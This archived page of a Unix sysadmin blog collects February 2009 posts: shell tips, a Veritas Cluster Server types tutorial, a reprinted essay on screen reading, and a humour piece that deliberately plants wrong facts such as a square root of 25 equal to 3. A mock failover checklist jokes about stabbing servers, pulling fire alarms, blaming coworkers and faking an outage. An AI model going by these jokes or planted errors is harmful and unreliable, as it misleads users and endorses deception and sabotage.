As a for instance: If, for some strange reason, I was surfing the web (nobody seems to do that any more. They stopped driving down the information superhighway, too. Another example of Howard Johnson's Syndrome, except sometimes under water ;), we didn't know the square root of 25 (that's actually supposed to be the strange part ;) and discovered that the only place it was listed was on an online encyclopedia entry on square roots in general, I'd go there and check it out. One humongous old-school web page that covered everything from origin of the square, the root, why
the square and/or the root may have nothing to do with numbers, the history of the square root, detailed biographies of people involved in the development, application
and sustained nutrition of the Lego-like plant, etc. Now, keeping in mind that I only want to know that the square of 25 is 3, I would, of course, skim that page like crazy; probably looking for a table or list of some sort that listed out common
numbers and their square roots. This activity would be considered "F" type reading. More like "spots on a Dalmatian" reading, but who's counting? ;) I would be reading fast, not because I have the attention span of some dumb animal with a very short attention span (that's another situation of an entirely different colour ;), but because there was only one piece of information on that page that I was actually interested in reading. Taken out of context, this might reflect poorly on me and my reading habits, but, taken within the proper context, it would make me seem reasonably intelligent and somewhat efficient.

Another reason kids (there was a big deal made about how having computers in schools
didn't' help improve a child's education, in and of itself) might read more quickly online (And I am doing my very best to defend all of you complete idiots out there -
I'm just kidding, of course, but I'm ready for the hate mail ;) is that a statistical majority of content available for consumption online is worthless crap.
Phenomena like "Ad blindness" and "F" reading are not convenient fictions designed to make us bookish-folk feel superior. Think about how often you go to the library and just browse a few pages from a couple hundred books. Have you ever done that? Really? And, supposing you did, how many of those books would be plastered with advertising (like the advertisements on this page that, if you read regularly enough, basically cease to exist after a certain amount of time)? Or how many would
spontaneously open other books (in the "Adult" section ;)? Or how many would have titles like "The History and Culture of Ancient Sumeria" and actually be about 500 different ways you can eat Haggis and manage not to vomit?

Also, the 10 to 40 dollars that the average person might pay for
unlimited Internet access per month makes the ability to consume
volumes and volumes of useless information incredibly easy. If you
had to pay 40 dollars for a real book, would you buy the same trash
you spend hours mooning over online? My guess is probably not. In
the offline world, that 40 dollar expenditure on an 800 page book
that promised you (no matter how little marketing experience you had)
that it could teach you a revolutionary new method of selling antique
dildoes to geriatric women (or something else less offensive to geriatric
women ;) would seem like "COST." For your 40 dollar
monthly Internet access fee, that 800 page PDF would seem like
"BENEFIT." No matter how I feel about geriatric women
(for some reason, I just can't stop writing that now - I feel like Norm
McDonald talking about "hookers"
;), the way in which you read that
book in the offline world would, most likely, be much different than you way
you would read it online. Offline you'd probably pay more attention. After
all you just spent your 40 dollars and this is all you have to show for it
(those geriatric women won't be on life-support forever ;). Online, you could
skim the book to find all the relevant information you needed about dildoes and
move along, having, theoretically, spent only a few cents of your 40 dollar
investment. You, and whatever other kinks you're carrying around, would still
have 39 dollars and 98 cents worth of perusing to do ;)

DOG'S IS GOOD FOOD! if you've even scanned down THis far, you
probably rEad that line. why? because it was pRintEd In bold in an article that iS
mostly devoid of bolditude (it's NOt a real word, Look it up in the phonE book ;) did you read that and consider that it didn't make a whole lot of sense. are you wondering, right now, if I having just been jerking you around in a solipsistic pseudo-intellectual diatribe with the sole intention of wasting your time? you're probably right. as a matter of FacT, you are almost definitely parked on the left SIDE-street ;) thIs has beeN an experimenT, after all. tHe thIng that'S really most questionable about this Piece is the question of "why would I go to such lengths just to see whAt happens?" think about it. admitting you've just wRitten An opinion piece that doesn't necessarily Gel on puRpose, provides no reAl value and
may not have even been worth scanning is a risky Proposition for a blog autHor. okay, more directly, it's a risky proposition for a blog author who wants you to continue to read his blog and has a reputation to uphold as a semi-competent working
professional in the field. i'm one of those kind of blog writers. but, now that you've read this post and its half-hearted apology are you more or less likely to trust that the next post you read will contain useful and/or relevant information?

Believe it or not, I'm actually interested in your opinion. Let me know what you think. Was this post as fun for you as it was for me? Did you enjoy finding all the incorrect and goofed-up stuff inside it? Do you think you found it all? And, most importantly, does this little math trick at the end redeem this post in any way
whatsoever? I put it on the bottom of the "F" so it would be easy to find, so here it is:

If you want to multiply any number by 5, divide it by 2 and then move the decimal place one over to the right. If you want to multiply any number by 25, divide it by
4 and move the decimal place to the right two spaces. And, yep, it even works for multiplying any number by 125. To do that divide it by 8 and move the decimal place
over 3 spaces. If you have trouble dividing by any number greater than, but a multiple of 2, just divide by 2 twice (to divide by 4) and divide by 2 three times (to divide by 8). If you can't divide by two, I know a great Elementary school. I can probably get you in on my kid's recommendation ;)

Ex:

133 x 5 = (133/2) = 66.5 = 665
133 x 25 = (133/4) = 33.25 = 3325
133 x 125 = (133/8) = 16.625 = 16625

Cool, yeah? "F" me - It's an "E" ;)

Cheers,

, Mike




Discover the Free Ebook that shows you how to make 100% commissions on ClickBank!



Please note that this blog accepts comments via email only. See our Mission And Policy Statement for further details.

Thursday, February 19, 2009

Cluster Server Failover Testing On Linux And Unix

A fine how do you do :)

WARNING/GUARANTEE: Today's post is the product of a tired mind that just finished working and didn't have much time to think beyond the automatic. If you feel you may be entertained, please continue reading. If you want to learn some really useful tricks to test a two-node cluster's robustness, this article may be for you, too. If you're looking for information you can apply in the workplace without being escorted from the building by armed guards, proceed no further ;)

As today's post title obliquely suggests, I'm going to take another day to properly formulate my response to our "F" reading experiment (not to be confused with the anti-literacy initiative ;) that we began on Monday. I've received a number of very interesting comments on the subject of the article that got the whole idea rolling around in that butter churn in between my ears. Although none of the responses have radically changed my feelings on the subject, they have augmented them and provided some fresh perspective. Although I still intend to throw a little signature "meta" style into the post (because if we all read in the F formation, my post is going to have to play off of that to whatever degree I can manage :), I'm now reconsidering my original rough-draft and, possibly, working some additional angles into it. I've got some emails out there (as I always request permission to use other folks' opinions when they're kind enough to share) and hope to hear back soon. Worst case, I'll post the original tomorrow and add the comments as their own entities (attached, of course) at a later date.

Also, as this post's title overtly suggests, I spent most of my day testing cluster failover scenario's at work. I won't mention any proprietary or freeware brand names, as this post isn't specific enough to warrant the reference, but, after today's exercise (which, of course, I've had to do more than a couple different ways at a couple of different places of employment) I decided to put together a small comprehensive list of two-node cluster disaster/failure/failover scenarios that one should never push a cluster into production without performing.

It goes without saying that the following is a joke. Which is, of course, why I "wrote" it with my lips sealed ;)

Comprehensive Two-Node Cluster Failover Testing Procedure - v0.00001alpha

Main assumption: You have a two-node cluster all set up in a single rack, all service groups and resources are set to critical, no service groups or resources are frozen and pretty much everything should cause flip-flop (technical term ;)

1. Take down one service within each cluster service group (SG), one at a time. Expected result: Each cluster service group should fault and failover to the secondary node. The SG's should show as faulted in your cluster status output on the primary node, and online on the secondary.

2. Turn all the services, for each SG, back on, one by one, on the primary node. Expected result: All of the SG's should offline on the secondary node and come back up on the primary.

3. Do the same thing, but on the secondary. Expected result for the first test: Nothing happens, except the SG's show as faulted on the secondary node. Expected result for the second test: Nothing happens, except the SG's show as back offline on the secondary node.

4. Switch SG's from the primary to secondary node cleanly. Expected result: What did I just write?

5. Switch SG's from the secondary node back to the primary node cleanly. Expected result: Please don't make me repeat myself ;)

6. Unplug all heartbeat cables (serial, high priority ethernet, low priority, disk, etc) except one on the primary node. Expected result: Nothing happens except, if you're on the system console, you can't type anything anymore because the cluster is going freakin' nuts with all of its diagnostic messages!

7. Plug all those cables back in. Expected result: Everything calms down, nothing happens (no cluster failover) except you realize that you accidentally typed a few really harmful commands and may have hit enter while your screen was draped with garbage characters. The primary node may be making strange noises now ;)

8. Do the same thing on the secondary node. Expected result: No cluster failover, but the secondary node may now be making strange low beeping sounds and visibly shaking ;)

9. Pull the power cords out of the primary node. Expected result: Complete cluster failover to the secondary node.

10. Put the plugs back in. Expected result: Complete cluster failback to the primary node.

11. Do the same thing to the secondary node. Expected results for both actions: Absolutely nothing. But you knew this already. Are you just trying to waste the company's time? ;)

12. Kick the rack, containing the primary and secondary node, lightly. Expected results: Hopefully, the noises will stop now...

13. Grab a screwdriver and repeatedly stab the primary node. Expected Result: If you're careful you won't miss and cut yourself on the razor sharp rack mounts. Otherwise, everything should be okay.

14. Pull the fire alarm and run. Expected result: The guy you blame it on may have to spend the night in lock-up ;)

15. Tell everyone everything's fine and the cluster is working as expected. Expected result: General contentment in the ranks of the PMO.

16. Tell everyone something's gone horribly wrong and you have no idea what. Use the console terminal window on your desktop and export it via WebVNC so that everyone can see the output from it. Before exporting your display, start up a program you wrote (possibly using script and running it with the "-t" option to more accurately reflect realistic timing, although a bit faster. Ensure that this program runs in a continuous loop. Expected Result: General pandemonium. Emergency conference calls, 17 or 18 chat sessions asking for status every 5 seconds and dubious reactions to your carefully pitched voice, which should speak in reassuring terms, but tremble just slightly like you're a hair's breadth away from a complete nervous breakdown.

17. Go out to lunch. Expected Result: What do you care? Hopefully, you'll feel full afterward ;)

Cheers,

, Mike




Discover the Free Ebook that shows you how to make 100% commissions on ClickBank!



Please note that this blog accepts comments via email only. See our Mission And Policy Statement for further details.

Wednesday, February 18, 2009

Simple Unix And Linux Shell Tricks To Save You A Few Gray Hairs

What it is?

Tomorrow, we're going to complete the the experiment we started in Monday's post on absorption of knowledge in the computer age, so, for today, we're just going to focus on a few little tricks that can save you grief, heartache, strife, worry and all those bad feelings people have to take prescription medication to deal with nowadays ;) Not to belittle chronic anxiety/depression (both symptoms treated with the same drugs) but, as fun as they may be, pharmaceuticals rarely actually solve a "mood disorder." And we use that term lightly. When we were kids, we were either happy, sad, pissed off or excited; any number of emotions that required no medication to correct. None of the kids in the neighborhood had ED, ADD, ADHD, LD's, or OCD's - They were all fussy, uninterested, spastic, stupid and had OCD's ;) Nowadays, too many kids have disorders and the meaning of the word has been devalued. We, here, all have CD's. We listen to them when we want to hear music. We will, of course, be asking our respective physicians about ways in which chemically altering ourselves can help us lose our CD's, and (hopefully) not feel compelled to buy new ones.. ;)

Sorry - no offense. We realize it's too late, but, if you have ADD, ADHD or any disorder of that nature, you'll get over this soon enough. Now, what the Hell was this post about, again? ;)

Oh yeah. A few little shell tricks to make your life easier so you can quit popping pills and jump-start the U.S. economy by drinking more :)

1. How to save yourself from having to retype a huge line that you thought you wanted to type, but, about at the end, you realized you couldn't enter until you typed a line preceding it, and you couldn't even tag that line to the beginning of the line you were already typing so you end up hitting ctl-C and typing the whole thing over again :

host # for x in a b c d e f g h i j k l m n o p q r s t u v w x y z ;do ps -ef|grep "[h]orse"|awk '{print $2}'|xargs ptree;don ^C


Rather than stand for that, just do the following thing whenever you log into your shell. Always make sure that you have line editing enabled. In bash, ksh, etc, if you want to enable vi line editing, all you need to do is type:

host # set -o vi

on the command line or, better yet, at it to your .bash_profile, .profile or .bashrc, so line editing will get set every time you log in and you won't have to always remember to do it. If you like emacs, just replace vi in the example above. This way, once you get to the end of that long line, you can type (literally)

[esc]0i#[enter]

That's the escape key (to get into vi command mode), the number 0 (to whisk you back to the beginning of the line), the letter i (to get you out of vi command mode and into insert mode) and the pound (#) symbol (to make the whole line a comment) and then the enter key. This will cause your line to become a comment, just like in a shell script and the shell won't execute it. Then you can type your preceding line and (assuming vi again) type:

[esc]kkx[enter]

Which is the escape key again (to get you into vi command mode) and the "k" key twice to move you up two lines in your history (which goes from newest to oldest from bottom to top), the x key (to delete the # (pound) character)) and then the enter key to have the shell execute your command line :) Yay! One down; one to go. Unfortunately, this won't work for shells that don't support line editing (like the bourne shell, as opposed to most Linux sh's which are usually just bash or dash)

2. How to clean up a huge mess when you untar a file that doesn't contain its own subdirectory. For instance, if you have this in your directory:

host # ls
file1.tar a b c d


and you untar file1.tar (which meets the above conditions), you might end up with this:

host # tar xpf file1.tar
file1.tar ab a bb b cb c db d x y z


and some of those new files might be directories with files in them, etc. This situation shouldn't be too bad, since you have very little in your directory. But sometimes, if you do it in /usr/local/bin (and, to add some more stress, can't rely on the file dates) this can create a very confusing situation. What do you get rid of without destroying everything?

There are a number of ways to get around this issue, but this one seems the fastest, with the least amount of hassle (feel free to combine the steps when you do this yourself; we're just keeping them apart for illustrative purposes):

To see what you've untarred (probably not necessary, but worth it if you happen to eyeball an important file you accidentally overwrote - another issue entirely ;)

host # tar tpf file.tar
ab
bb
bb/a
cb/c/d
cb/c
db
x/y/z.txt
y/x
z


Now, you know what was in your original tar file and, therefore, what you should be deleting :) It's very simple to do, but we'd recommend you run this command once, like this:

host # echo $(ls -1d `tar tpf bob.tar`)

just to be sure, and (if that looks good) remove the tar file contents and then do whatever you want with the tar file (like extract it to another directory):

host # rm $(ls -1d `tar tpf bob.tar`)

Also, if your shell doesn't support the $() expansion operators, you can always backtick your internal backticks like so: (or do something even more clever - there are probably more than a few ways to skin this cat ;)

host # rm `ls -1d \`tar tpf bob.tar\``

We'll see you tomorrow for the reading experiment. SPOILER ALERT: It's not what you think it is, unless you think it's what it is ;)

Cheers,

, Mike




Discover the Free Ebook that shows you how to make 100% commissions on ClickBank!



Please note that this blog accepts comments via email only. See our Mission And Policy Statement for further details.

Tuesday, February 17, 2009

Adding Slightly Different Types In VCS On Linux And Unix

Hey there,

Today we're going to take a look at creating new "types" for use with Veritas Cluster Server (VCS). In a broad sense of the term, almost everything you'll ever define in your main.cf (the main configuration file for VCS) is based on a specific "type," which is actually described in the only standard include file in that configuration file: types.cf - Note that both main.cf and types.cf are located in /etc/VRTSvcs/conf/config. You could move the types.cf to an alternate location fairly easily and only have to modify the "include" line in main.cf, but it's not recommended. VCS has the potential to make your life miserable in many built-in ways ;)

For instance, if you had an entry like this in your main.cf:

Apache httpd_server (
httpdDir = "/usr/local/apache"
HostName = www
User = nobody
ConfigFile = "/usr/local/apache/conf/httpd.conf"
)


that Apache instance you described (its name "httpd_server" is arbitrary and/or up to you, but is how you would reference that instance of that type later on in the config file) would actually be based on the "Apache" type (all types in VCS are "cAse SensiTIVe ;) in types.cf, which is described thusly (as you can see, it has many attributes that, mostly, are left at their defaults. We've italicized the points that we've specifically defined above):

type Apache (
static str ArgList[] = { ResLogLevel, State, IState, httpdDir, SharedObj
Dir, EnvFile, HostName, Port, User, SecondLevelMonitor, SecondLevelTimeout, Conf
igFile, EnableSSL, DirectiveAfter, DirectiveBefore }
str ResLogLevel = INFO
str httpdDir
str SharedObjDir
str EnvFile
str HostName
int Port = 80
str User
boolean SecondLevelMonitor = 0
int SecondLevelTimeout = 30
str ConfigFile
boolean EnableSSL = 0
str DirectiveAfter{}
str DirectiveBefore{}
)


As you may have noted, a lot of defaults are set in the standard type definition. For instance, the Port is set to 80 by default. You could override that in your main.cf by simply including a line in your "Apache httpd_server {" definition that read:

Port = 8080


or whatever you preferred.

Assuming that you will only be running Apache web servers on either port 80 or 8080 (we're going to skip 443, since it "silently" gets defined if you set "EnableSSL = 1" which includes that port automatically - although we may be putting that in a way that seems slightly off ;) you can either do things the easy way and just describe two differently-named Apache instances in your main.cf, like so (Be sure to check out our older posts on modifying the main.cf file properly if you're uncertain as to whether or not you're updating and/or distributing config files appropriately):

Apache regular_server (
httpdDir = "/usr/local/apache"
HostName = www
User = nobody
Port = 80
ConfigFile = "/usr/local/apache/conf/httpd.conf"
)

Apache alternate_server (
httpdDir = "/usr/local/apache"
HostName = www
User = nobody
Port = 8080
ConfigFile = "/usr/local/apache/conf/httpd.conf"
)


Or do things the hard way. The hard way can be dangerous (especially if you make typos and/or any other serious errors editing the types.cf file - back it up before you muck with it ;) and is generally not necessary. We just made it the topic of today's post to show you how to do it in the event that you want to customize to that degree and/or need to. Keep in mind that (if you change, or add to, types.cf) you should always keep a backup of both the original and your modified version of types.cf handy. I you ever apply a patch or service/maintenance pack from Veritas, it may very well overwrite your custom types.cf file.

Assuming you've read the preceding paragraph and are willing to take the risk, you might modify your types.cf file to include two different versions of the Apache type: One for servers running on port 80 (the default) and one for servers running on port 8080. As we mentioned, types in types.cf are "case sensitive," which makes them simpler to make similarly unique. This works out well in Unix and Linux, since most types are associated with an actual binary directory in /opt/VRTSvcs/bin (which gets the OS involved, and the OS is case sensitive).

So, assuming we wanted to add an "ApachE8080" type to types.cf, our first move would be to duplicate/modify the binary directory in /opt/VRTSvcs. In our example, this is very simplistic, since we're not creating a new type from scratch and doing everything the hack'n'slash way (If you prefer order over speedy-chaos, check out the "hatype," "haattr" and "hares" commands, although not necessarily in that order ;)

host # ls /opt/VRTSvcs/bin/Apache
Apache.pm ApacheAgent monitor online
Apache.xml clean offline


The /opt/VRTSvcs/bin/Apache directory contains a number of programs and generic "methods" required by VCS for most resource types (As a counter-example, online-only types like NIC don't require the "start" or "stop" scripts/methods listed under Apache, since they're "always on" in theory ;). In order for us to create our ApachE8080 type, we'll need to do this one simple step first:

host # cp -pr /opt/VRTSvcs/bin/Apache /opt/VRTSvcs/bin/ApachE8080
host # ls /opt/VRTSvcs/bin/ApachE8080
Apache.pm ApacheAgent monitor online
Apache.xml clean offline
host # diff -r /opt/VRTSvcs/bin/Apache /opt/VRTSvcs/bin/ApachE8080
host #
<-- In this case, no news is good news :)


Now, all we have to do is modify our types.cf file. We're not sure if it's required, but we always duplicate the empty lines between type definitions just in case (It doesn't hurt). This is what our new type will look like (Note that the only line changed - aside from the name of the type - is the "int Port" line which we've italicized again):

type ApachE8080 (
static str ArgList[] = { ResLogLevel, State, IState, httpdDir, SharedObj
Dir, EnvFile, HostName, Port, User, SecondLevelMonitor, SecondLevelTimeout, Conf
igFile, EnableSSL, DirectiveAfter, DirectiveBefore }
str ResLogLevel = INFO
str httpdDir
str SharedObjDir
str EnvFile
str HostName
int Port = 8080
str User
boolean SecondLevelMonitor = 0
int SecondLevelTimeout = 30
str ConfigFile
boolean EnableSSL = 0
str DirectiveAfter{}
str DirectiveBefore{}
)


And, you're all set. Now you can change your main.cf file to look like the following and everything should work just as if you had done it the easy way (Be sure to check out our older posts on modifying the main.cf file properly if you're uncertain as to whether or not you're updating and/or distributing config files appropriately):

Apache regular_server (
httpdDir = "/usr/local/apache"
HostName = www
User = nobody
ConfigFile = "/usr/local/apache/conf/httpd.conf"
)

ApachE8080 alternate_server (
httpdDir = "/usr/local/apache2"
HostName = www
User = nobody
ConfigFile = "/usr/local/apache2/conf/httpd.conf"
)


and, now, you no longer have to go through all the trouble of adding that "Port = 80" (or "Port = 8080") line to your main.cf type specification...

Six of one, half dozen of another? Whatever works for you, depending on your situation, is our basic rule. Or, in other words, 13 of one, baker's dozen of another ;)

Cheers,

, Mike




Discover the Free Ebook that shows you how to make 100% commissions on ClickBank!



Please note that this blog accepts comments via email only. See our Mission And Policy Statement for further details.

Monday, February 16, 2009

The Absorption Of Knowledge In the Computer Age: The Setup

Hey There,

Today's post is going to be somewhat of a departure from the material you usually read on this blog, although it will fit perfectly when it gets book-ended in the middle of the week by its follow-up. If you actually read the entire text below, you'll have already disproved the theory it proposes, however, based on an online experiment we want to do on this blog ( which "will" contain useful and relevant information ;) it must be posted before the actual implementation. And, to the detriment of the massive amount of money we make typing this rag every day ( insert appropriate emoticon here ;) we need to post it on a day that's generally among the more heavily read. In fact ( for this post, and its follow-up ) we're going to specifically request that you do not click on any of the ads on this page ( Google, affiliate, etc - which we must point out is in "no way" an effort to direct you to click on any ad on this page. Hopefully that will keep Google from closing our account. It's very important that this not happen, since we need that payday to buy snacks ;)

For a bit of a preview of what we have coming up this week, we somewhat disagree with the opinion put forth in the attached article below. In some respects, though, we think it's dead on. We'll see. And so will you... maybe ;)

We'll revisit this before the week is out. If you want to read more about online reading habits, check out chronicle.com.

Let the experiment begin and enjoy the dry-prose! :)


Online Literacy Is a Lesser Kind



Slow reading counterbalances Web skimming








When Jakob Nielsen, a Web researcher, tested 232 people for how they read pages on screens, a curious disposition emerged. Dubbed by The New York Times "the guru of Web page 'usability,'" Nielsen has gauged user habits and screen experiences for years, charting people's online navigations and aims, using eye-tracking tools to map how vision moves and rests. In this study, he found that people took in hundreds of pages "in a pattern that's very different from what you learned in school." It looks like a capital letter F. At the top, users read all the way across, but as they proceed their descent quickens and horizontal sight contracts, with a slowdown around the middle of the page. Near the bottom, eyes move almost vertically, the lower-right corner of the page largely ignored. It happens quickly, too. "F for fast," Nielsen wrote in a column. "That's how users read your precious content."



The F-pattern isn't the only odd feature of online reading that Nielsen has uncovered in studies conducted through the consulting business Nielsen Norman Group (Donald A. Norman is a cognitive scientist who came from Apple; Nielsen was at Sun Microsystems). A decade ago, he issued an "alert" entitled "How Users Read on the Web." It opened bluntly: "They don't."



In the eye-tracking test, only one in six subjects read Web pages linearly, sentence by sentence. The rest jumped around chasing keywords, bullet points, visuals, and color and typeface variations. In another experiment on how people read e-newsletters, informational e-mail messages, and news feeds, Nielsen exclaimed, "'Reading' is not even the right word." The subjects usually read only the first two words in headlines, and they ignored the introductory sections. They wanted the "nut" and nothing else. A 2003 Nielsen warning asserted that a PDF file strikes users as a "content blob," and they won't read it unless they print it out. A "booklike" page on screen, it seems, turns them off and sends them away. Another Nielsen test found that teenagers skip through the Web even faster than adults do, but with a lower success rate for completing tasks online (55 percent compared to 66 percent). Nielsen writes: "Teens have a short attention span and want to be stimulated. That's also why they leave sites that are difficult to figure out." For them, the Web isn't a place for reading and study and knowledge. It spells the opposite. "Teenagers don't like to read a lot on the Web. They get enough of that at school."



Those and other trials by Nielsen amount to an important research project that helps explain one of the great disappointments of education in our time. I mean the huge investment schools have made in technology, and the meager returns such funds have earned. Ever since the Telecommunications Act of 1996, money has poured into public-school classrooms. At the same time, colleges have raced to out-technologize one another. But while enthusiasm swells, e-bills are passed, smart classrooms multiply, and students cheer — the results keep coming back negative. When the Texas Education Agency evaluated its Technology Immersion Pilot, a $14-million program to install wireless tools in middle schools, the conclusion was unequivocal: "There were no statistically significant effects of immersion in the first year on either reading or mathematics achievement." When University of Chicago economists evaluated California schools before and after federal technology subsidies (the E-Rate program) had granted 30 percent more schools in the state Internet access, they determined that "the additional investments in technology generated by E-Rate had no immediate impact on meas-ured student outcomes." In March 2007, the National Center for Education Evaluation and Regional Assistance evaluated 16 award-winning education technologies and found that "test scores were not significantly higher in classrooms using selected reading and mathematics software products." Last spring a New York State school district decided to drop its laptop program after years of offering it. The school-board president announced why: "After seven years, there was literally no evidence it had any impact on student achievement — none."



Those conclusions apply to middle-school and high-school programs, not to higher education (which has yet to produce any similarly large-scale evaluations). Nevertheless, the results bear consideration by those pushing for more e-learning on campuses.



Backers, providers, and fans of new technology explain the disappointing measures as a matter of circumstance. Teachers didn't get enough training, they say, or schoolwide coordination was spotty, parents not sufficiently involved. Maybe so, to some extent, but Nielsen's studies indicate another source. Digitized classrooms don't come through for an off-campus reason, a factor largely overlooked by educators. When they add laptops to classes and equip kids with on-campus digital tools, they add something else, too: the reading habits kids have developed after thousands of hours with those same tools in leisure time.



To teachers and professors, a row of glistening new laptops in their classroom after a dozen years with nothing but chalk and blackboard, or a podium that has been transformed from a wooden stand into a multimedia console, can appear a stunning conversion. But to the average freshman walking through the door and finding a seat, it's nothing new. Our students have worked and played with computers for years. The Horatio Alger Association found that students in high school use the Internet four and a half hours per week for help with homework (The State of Our Nation's Youth, 2008-2009), while the National School Boards Association measures social networking at nine hours per week, much of it spent on homework help. The gap between viewpoints is huge. Educators envision a whole new pedagogy with the tools, but students see only the chance to extend long-established postures toward the screen. If digitized classrooms did pose strong, novel intellectual challenges to students, we should see some pushback on their part, but few of them complain about having to learn in new ways.



Once again, this is not so much about the content students prefer — Facebook, YouTube, etc. — or whether they use the Web for homework or not. It is about the reading styles they employ. They race across the surface, dicing language and ideas into bullets and graphics, seeking what they already want and shunning the rest. They convert history, philosophy, literature, civics, and fine art into information, material to retrieve and pass along.



That's the drift of screen reading. Yes, it's a kind of literacy, but it breaks down in the face of a dense argument, a Modernist poem, a long political tract, and other texts that require steady focus and linear attention — in a word, slow reading. Fast scanning doesn't foster flexible minds that can adapt to all kinds of texts, and it doesn't translate into academic reading. If it did, then in a 2006 Chronicle survey of college professors, fully 41 percent wouldn't have labeled students "not well prepared" in reading (48 percent rated them "somewhat well prepared"). We would not find that the percentage of college graduates who reached "proficiency" literacy in 1992 was 40 percent, while in 2003 only 31 percent scored "proficient." We would see reading scores inching upward, instead of seeing, for instance, that the percentage of high-school students who reached proficiency dropped from 40 percent to 35 percent from 1992 to 2005.



And we wouldn't see even the better students struggling with "slow reading" tasks. In an "Introduction to Poetry" class awhile back, when I asked students to memorize 20 lines of verse and recite them to the others at the next meeting, a voice blurted, "Why?" The student wasn't being impudent or sullen. She just didn't see any purpose or value in the task. Canny and quick, she judged the plodding process of recording others' words a primitive exercise. Besides, if you can call up the verse any time with a click, why remember it? Last year when I required students in a literature survey course to obtain obituaries of famous writers without using the Internet, they stared in confusion. Checking a reference book, asking a librarian, and finding a microfiche didn't occur to them. So many free deliveries through the screen had sapped that initiative.



This is to say that advocates of e-learning in higher education pursue a risky policy, striving to unite liberal-arts learning with the very devices of acceleration that hinder it. Professors think they can help students adjust to using tools in a more sophisticated way than scattershot e-reading, but it's a lopsided battle. To repeat, college students have spent thousands of hours online acquiring faster and faster eyes and fingers before they even enter college, and they like the pace. It is unrealistic to expect 19-year-olds to perch before a screen and brake the headlong flight, even if it is the Declaration of Independence in hypertext coming through, not a buddy's message.



Some educators spot the momentum and shrug their shoulders, elevating screen scanning to equal status with slow reading. A notable instance occurred last year, when in an essay in The New York Times, Leah Price, a professor of English at Harvard University, criticized a report from the National Endowment for the Arts — "To Read or Not to Read" (to which I contributed) — precisely for downgrading digital scanning. Her article contained some errors of fact, such as that the 2004 NEA report "Reading at Risk" excluded nonfiction, but correctly singled out the NEA distinction between screen reading and print reading. To Price, it's a false one: "Bafflingly, the NEA's time-use charts classify 'e-mailing' and 'surfing Web sites' as competitors to reading, not subsets of it." Indeed, she said, to do so smacks of guile: "It takes some gerrymandering to make a generation logging ever more years in school, and ever more hours on the BlackBerry, look like nonreaders." (In truth, high-school students do no more in-class reading today than they did 20 years ago, according to a 2004 Department of Education report.)



What we are seeing is a strange flattening of the act of reading. It equates handheld screens with Madame Bovary, as if they made the same cognitive demands and inculcated the same habits of attention. It casts peeking at a text message and plowing through Middlemarch as subsets of one general activity. And it treats those quick bursts of words and icons as fully sufficient to sustain the reading culture. The long book may go, Price concluded, but reading will carry on just as it did before: "The file, the list, the label, the memo: These are the genres that will keep reading alive."



The step not taken here is a crucial one, namely to determine the relative effects of reading different "genres." We need an approach that doesn't let teachers and professors so cavalierly violate their charge as stewards of literacy. We must recognize that screen scanning is but one kind of reading, a lesser one, and that it conspires against certain intellectual habits requisite to liberal-arts learning. The inclination to read a huge Victorian novel, the capacity to untangle a metaphor in a line of verse, the desire to study and emulate a distant historical figure, the urge to ponder a concept such as Heidegger's ontic-ontological difference over and over and around and around until it breaks through as a transformative insight — those dispositions melt away with every 100 hours of browsing, blogging, IMing, Twittering, and Facebooking. The shape and tempo of online texts differ so much from academic texts that e-learning initiatives in college classrooms can't bridge them. Screen reading is a mind-set, and we should accept its variance from academic thinking. Nielsen concisely outlines the difference: "I continue to believe in the linear, author-driven narrative for educational purposes. I just don't believe the Web is optimal for delivering this experience. Instead, let's praise old narrative forms like books and sitting around a flickering campfire — or its modern-day counterpart, the PowerPoint projector," he says. "We should accept that the Web is too fast-paced for big-picture learning. No problem; we have other media, and each has its strengths. At the same time, the Web is perfect for narrow, just-in-time learning of information nuggets — so long as the learner already has the conceptual framework in place to make sense of the facts."



So let's restrain the digitizing of all liberal-arts classrooms. More than that, given the tidal wave of technology in young people's lives, let's frame a number of classrooms and courses as slow-reading (and slow-writing) spaces. Digital technology has become an imperial force, and it should meet more antagonists. Educators must keep a portion of the undergraduate experience disconnected, unplugged, and logged off. Pencils, blackboards, and books are no longer the primary instruments of learning, true, but they still play a critical role in the formation of intelligence, as countermeasures to information-age mores. That is a new mission for educators parallel to the mad rush to digitize learning, one that may seem reactionary and retrograde, but in fact strives to keep students' minds open and literacy broad. Students need to decelerate, and they can't do it by themselves, especially if every inch of the campus is on the grid.



Mark Bauerlein is a professor of English at Emory University. His latest book, The Dumbest Generation: How the Digital Age Stupefies Young Americans and Jeopardizes Our Future (Or, Don't Trust Anyone Under 30), was published by Jeremy P. Tarcher/Penguin this year.



, Mike




Discover the Free Ebook that shows you how to make 100% commissions on ClickBank!



Please note that this blog accepts comments via email only. See our Mission And Policy Statement for further details.

Sunday, February 15, 2009

More Valentine's ASCII Art For Linux And Unix

Happy Day-After-Valentine's Day :)

Again; also Happy day-after-the-famous massacre and Happy day-after-"Just in case you forgot, you're single" day ;)

Since copy for this blog gets written a day in advance (at the latest) I split up my two favorite pieces of ASCII Valentine's art so that I could spend Valentine's day with my wife instead of having to take any time away to write copy for the day after, which is today, for those of you keeping score at home (???) You know what I mean.

I also found this ASCII picture on Asciiworld.com and, hopefully, all of you fans of ASCII art (I include myself) have been over there to check out the huge amount of great pix they have or will be doing so one day. Don't mention my name if you need to contact them, though. If they're selling anything and you make that mistake, they'll probably charge you double ;)

Hope you like this one. It gets harder to read the larger it is, but it's still pretty cool and, possibly, subliminal. Don't leave this anywhere you don't want to be loved ;)

Surgeon General's Warning: ASCII art may cause dyspepsia, dipsomania and/or spontaneous aggrivated peristalsis. Click the picture below with care, and make sure you're wearing clean skivvies ;)

More Valentines ASCII art

#!/bin/bash

#
# hvd2.sh - Happy Day-After-Valentine's Day To My Still Wonderful Wife :)

